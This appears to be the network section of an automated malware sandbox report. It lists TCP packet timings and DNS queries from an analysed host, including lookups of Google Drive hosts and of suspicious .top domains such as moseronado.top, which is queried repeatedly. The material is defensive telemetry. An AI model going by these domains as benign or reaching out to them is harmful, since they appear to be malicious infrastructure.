Oct 18, 2021 22:45:56.826447964 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826472044 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826494932 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826517105 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826538086 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826560974 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826581955 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826601982 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826623917 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826648951 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826668024 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826689005 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826710939 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826731920 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826752901 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826775074 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826796055 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826822996 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826845884 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826867104 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827033997 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.827282906 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.827639103 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827665091 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827687025 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827708006 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827728987 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827752113 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827775002 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827796936 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827817917 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827840090 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827862024 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827883005 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.827907085 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.828187943 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.828403950 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828449011 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828517914 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828538895 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828561068 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828583002 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828599930 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828618050 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828643084 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828665018 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828686953 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828710079 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828732014 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828749895 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828772068 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828792095 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828811884 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828835011 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828855991 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828876019 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828927040 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828948975 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828969955 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.828990936 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829010963 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829031944 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829052925 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829077005 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829096079 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829117060 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829382896 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.829389095 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829413891 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829435110 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829459906 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829483032 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829504967 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829525948 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829547882 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829570055 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829591036 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.829653978 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.829875946 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.830101967 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.830672026 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830703974 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830727100 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830749035 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830770969 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830792904 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830812931 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830835104 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830857038 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830881119 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830904961 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830926895 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830949068 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830970049 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.830990076 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831012011 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831032991 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831058025 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831080914 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831103086 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831130981 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.831326008 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.831819057 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831845999 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831870079 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831892014 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831912994 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831935883 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831955910 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831976891 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.831998110 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832019091 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832055092 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832077026 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832098961 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832123041 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832145929 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832169056 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832191944 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832195997 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.832211971 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832231998 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832253933 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832276106 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832300901 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832324982 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832346916 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832367897 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832390070 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832410097 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.832411051 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832432032 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832453966 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832478046 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832503080 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.832751989 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.833967924 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834001064 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834022999 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834043026 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834064960 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834085941 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834108114 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834130049 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834151983 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834177017 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.834441900 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.835881948 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.835907936 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.835931063 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.835952997 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.835975885 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.835997105 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836016893 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836039066 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836061954 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836085081 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836107969 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836128950 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836150885 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836173058 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836194038 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836204052 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.836215019 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836236000 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836260080 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836282015 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836303949 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836324930 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836347103 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836368084 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836389065 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836410999 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.836415052 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.836435080 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837198019 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837229967 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837250948 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837271929 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837292910 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837312937 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837333918 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837353945 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837377071 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.837378025 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837409973 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837430954 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837462902 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837472916 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.837697029 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.868781090 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:58.780785084 CEST	59261	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:58.807538033 CEST	53	59261	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:58.809173107 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:58.838016033 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:58.842789888 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:58.871678114 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:58.871741056 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:58.871779919 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:58.871817112 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:58.872042894 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:58.873064041 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:58.896056890 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:58.896581888 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:58.938630104 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:58.941454887 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:58.964276075 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.053343058 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.053505898 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.053724051 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.053775072 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.056488991 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:59.056710005 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:59.063219070 CEST	57151	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:59.089942932 CEST	53	57151	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:59.324356079 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:59.366185904 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559513092 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559571028 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559604883 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559669018 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559705973 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559746027 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559783936 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559822083 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.559854031 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:59.566672087 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:59.566801071 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:59.566862106 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:59.567018986 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:59.594618082 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:46:03.295536995 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:46:03.337912083 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507647038 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507704973 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507731915 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507771015 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507808924 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507855892 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507899046 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507926941 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.507956028 CEST	443	59262	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:03.508227110 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:46:03.508337021 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:46:03.508392096 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:46:03.508460045 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:46:03.534955025 CEST	59262	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:46:11.779266119 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:46:11.801287889 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:46:39.840116978 CEST	60516	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:46:39.943058968 CEST	53	60516	8.8.8.8	192.168.2.5
Oct 18, 2021 22:46:55.210094929 CEST	56895	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:46:55.228770018 CEST	53	56895	8.8.8.8	192.168.2.5
Oct 18, 2021 22:47:09.026215076 CEST	61515	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:47:09.130291939 CEST	53	61515	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 18, 2021 22:45:42.373657942 CEST	192.168.2.5	8.8.8.8	0x5d8a	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:42.974153996 CEST	192.168.2.5	8.8.8.8	0x2d6e	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.189560890 CEST	192.168.2.5	8.8.8.8	0xd73a	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.190181017 CEST	192.168.2.5	8.8.8.8	0x2022	Standard query (0)	cdn.rawgit.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.333760977 CEST	192.168.2.5	8.8.8.8	0x9823	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.874641895 CEST	192.168.2.5	8.8.8.8	0x10ad	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:45.000734091 CEST	192.168.2.5	8.8.8.8	0xb036	Standard query (0)	bacionera.top	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:47.909492970 CEST	192.168.2.5	8.8.8.8	0x451c	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:48.769000053 CEST	192.168.2.5	8.8.8.8	0x9d95	Standard query (0)	doc-0o-ac-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:56.605036020 CEST	192.168.2.5	8.8.8.8	0x85de	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:58.780785084 CEST	192.168.2.5	8.8.8.8	0x7d5	Standard query (0)	doc-0k-3c-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:59.063219070 CEST	192.168.2.5	8.8.8.8	0xfb51	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)
Oct 18, 2021 22:46:39.840116978 CEST	192.168.2.5	8.8.8.8	0x246c	Standard query (0)	moseronado.top	A (IP address)	IN (0x0001)
Oct 18, 2021 22:46:55.210094929 CEST	192.168.2.5	8.8.8.8	0xa25b	Standard query (0)	moseronado.top	A (IP address)	IN (0x0001)
Oct 18, 2021 22:47:09.026215076 CEST	192.168.2.5	8.8.8.8	0x5639	Standard query (0)	moseronado.top	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 18, 2021 22:45:42.398520947 CEST	8.8.8.8	192.168.2.5	0x5d8a	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)
Oct 18, 2021 22:45:42.398520947 CEST	8.8.8.8	192.168.2.5	0x5d8a	No error (0)	clients.l.google.com		216.58.215.238	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:43.001064062 CEST	8.8.8.8	192.168.2.5	0x2d6e	No error (0)	accounts.google.com		142.250.203.109	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.205862045 CEST	8.8.8.8	192.168.2.5	0xd73a	No error (0)	cdnjs.cloudflare.com		104.16.19.94	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.205862045 CEST	8.8.8.8	192.168.2.5	0xd73a	No error (0)	cdnjs.cloudflare.com		104.16.18.94	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.210375071 CEST	8.8.8.8	192.168.2.5	0x2022	No error (0)	cdn.rawgit.com	rawgitcdn.b-cdn.net		CNAME (Canonical name)	IN (0x0001)
Oct 18, 2021 22:45:44.210375071 CEST	8.8.8.8	192.168.2.5	0x2022	No error (0)	rawgitcdn.b-cdn.net		37.19.206.70	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.371062994 CEST	8.8.8.8	192.168.2.5	0x9823	No error (0)	www.google.com		142.250.203.100	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:44.892700911 CEST	8.8.8.8	192.168.2.5	0x10ad	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Oct 18, 2021 22:45:45.291742086 CEST	8.8.8.8	192.168.2.5	0xb036	No error (0)	bacionera.top		104.21.91.115	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:45.291742086 CEST	8.8.8.8	192.168.2.5	0xb036	No error (0)	bacionera.top		172.67.216.180	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:47.936017036 CEST	8.8.8.8	192.168.2.5	0x451c	No error (0)	drive.google.com		142.250.203.110	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:48.795991898 CEST	8.8.8.8	192.168.2.5	0x9d95	No error (0)	doc-0o-ac-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Oct 18, 2021 22:45:48.795991898 CEST	8.8.8.8	192.168.2.5	0x9d95	No error (0)	googlehosted.l.googleusercontent.com		172.217.168.33	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:56.623437881 CEST	8.8.8.8	192.168.2.5	0x85de	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Oct 18, 2021 22:45:56.623437881 CEST	8.8.8.8	192.168.2.5	0x85de	No error (0)	googlehosted.l.googleusercontent.com		172.217.168.33	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:58.807538033 CEST	8.8.8.8	192.168.2.5	0x7d5	No error (0)	doc-0k-3c-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Oct 18, 2021 22:45:58.807538033 CEST	8.8.8.8	192.168.2.5	0x7d5	No error (0)	googlehosted.l.googleusercontent.com		172.217.168.33	A (IP address)	IN (0x0001)
Oct 18, 2021 22:45:59.089942932 CEST	8.8.8.8	192.168.2.5	0xfb51	No error (0)	docs.google.com		172.217.168.14	A (IP address)	IN (0x0001)
Oct 18, 2021 22:46:39.943058968 CEST	8.8.8.8	192.168.2.5	0x246c	No error (0)	moseronado.top		104.21.15.244	A (IP address)	IN (0x0001)
Oct 18, 2021 22:46:39.943058968 CEST	8.8.8.8	192.168.2.5	0x246c	No error (0)	moseronado.top		172.67.209.58	A (IP address)	IN (0x0001)
Oct 18, 2021 22:46:55.228770018 CEST	8.8.8.8	192.168.2.5	0xa25b	No error (0)	moseronado.top		172.67.209.58	A (IP address)	IN (0x0001)
Oct 18, 2021 22:46:55.228770018 CEST	8.8.8.8	192.168.2.5	0xa25b	No error (0)	moseronado.top		104.21.15.244	A (IP address)	IN (0x0001)
Oct 18, 2021 22:47:09.130291939 CEST	8.8.8.8	192.168.2.5	0x5639	No error (0)	moseronado.top		104.21.15.244	A (IP address)	IN (0x0001)
